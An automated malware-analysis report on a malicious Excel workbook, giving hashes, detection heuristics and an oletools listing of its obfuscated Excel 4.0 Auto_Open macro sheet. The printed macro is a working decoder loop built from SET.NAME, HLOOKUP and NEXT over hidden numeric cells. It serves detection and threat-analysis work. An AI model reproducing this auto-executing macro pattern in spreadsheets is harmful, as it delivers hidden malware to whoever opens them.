Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c83f19b4f0666b96…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:41 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 8d5197e483918581419df715407caa33 SHA-1: b003ebfd0673ba26775ad56133fd8356834e7800 SHA-256: c83f19b4f0666b9650e8e0df67e889a7a143ec0ecfcb782605be56190fc5c0fb
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6611 bytes
SHA-256: 0511dedd886a2a22be535eadb802b7655e17915cb52f169ced13cbfa1e495242
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hrWH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E155 
' 0018     26 LABEL : Cell Value, String Constant - cYVTpEYlvRb len=0 
' 0018     21 LABEL : Cell Value, String Constant - CZiJlM len=0 
' 0018     26 LABEL : Cell Value, String Constant - dIpxxyEsMxn len=0 
' 0018     23 LABEL : Cell Value, String Constant - eNPkJsiu len=0 
' 0018     21 LABEL : Cell Value, String Constant - ESxhoK len=0 
' 0018     26 LABEL : Cell Value, String Constant - eYocEXnTmHv len=0 
' 0018     26 LABEL : Cell Value, String Constant - fbbRCeJmCWp len=0 
' 0018     20 LABEL : Cell Value, String Constant - FWGNq len=0 
' 0018     26 LABEL : Cell Value, String Constant - gfSJrYQxnpv len=0 
' 0018     24 LABEL : Cell Value, String Constant - gnIszWjcX len=0 
' 0018     25 LABEL : Cell Value, String Constant - hFihkvmrCm len=0 
' 0018     23 LABEL : Cell Value, String Constant - iRZcCZqK len=0 
' 0018     21 LABEL : Cell Value, String Constant - LibBEH len=0 
' 0018     20 LABEL : Cell Value, String Constant - mAYfi len=0 
' 0018     26 LABEL : Cell Value, String Constant - mKZwZBebZCy len=0 
' 0018     23 LABEL : Cell Value, String Constant - OTbTHKpF len=0 
' 0018     24 LABEL : Cell Value, String Constant - sXcoFFIlp len=0 
' 0018     26 LABEL : Cell Value, String Constant - UFvNERpifRJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - VNwZLEyXbJti len=0 
' 0018     27 LABEL : Cell Value, String Constant - zsdzqVYxWzsP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hrWH,E59,"SET.NAME("iRZcCZqK",0+VALUE("0"))",""
'  hrWH,E63,"SET.NAME("CZiJlM",iRZcCZqK)",""
'  hrWH,E65,"SET.NAME("VNwZLEyXbJti",iRZcCZqK)",""
'  hrWH,E69,"SET.NAME("OTbTHKpF",COUNTA(eNPkJsiu))",""
'  hrWH,E71,"SET.NAME("fbbRCeJmCWp",COUNTA(UFvNERpifRJ))",""
'  hrWH,E73,[],""
'  hrWH,Q74,"",587.00000000000000000000
'  hrWH,E75,"SET.NAME("sXcoFFIlp","")",""
'  hrWH,Q75,"",-432.00000000000000000000
'  hrWH,Q76,"",954.00000000000000000000
'  hrWH,Q77,"",-600.00000000000000000000
'  hrWH,Q78,"",368.00000000000000000000
'  hrWH,Q79,"",-486.00000000000000000000
'  hrWH,E80,"CZiJlM",""
'  hrWH,E83,"SET.NAME("ESxhoK",HLOOKUP("*",eNPkJsiu,CZiJlM,FALSE))",""
'  hrWH,E88,"mKZwZBebZCy",""
'  hrWH,E93,"SET.NAME("zsdzqVYxWzsP",iRZcCZqK)",""
'  hrWH,E96,[],""
'  hrWH,E101,"zsdzqVYxWzsP",""
'  hrWH,E105,"eYocEXnTmHv",""
'  hrWH,E108,"cYVTpEYlvRb",""
'  hrWH,E112,"FWGNq",""
'  hrWH,E115,"SET.NAME("hFihkvmrCm",VALUE(HLOOKUP("*",UFvNERpifRJ,FWGNq,FALSE)))",""
'  hrWH,E119,"mAYfi",""
'  hrWH,E124,"sXcoFFIlp",""
'  hrWH,E127,"VNwZLEyXbJti",""
'  hrWH,E129,NEXT(),""
'  hrWH,E134,"dIpxxyEsMxn",""
'  hrWH,E138,[],""
'  hrWH,E143,"LibBEH",""
'  hrWH,E145,NEXT(),""
'  hrWH,E150,RETURN(),""
'  hrWH,E186,"SET.NAME("gfSJrYQxnpv",E59)",""
'  hrWH,E189,"eNPkJsiu",""
'  hrWH,E191,"SET.NAME("UFvNERpifRJ",R95C15)",""
'  hrWH,E194,"SET.NAME("LibBEH",202)",""
'  hrWH,E198,"SET.NAME("gnIszWjcX",5)",""
'  hrWH,E201,gfSJrYQxnpv(),""
'  hrWH,E202,HALT(),""

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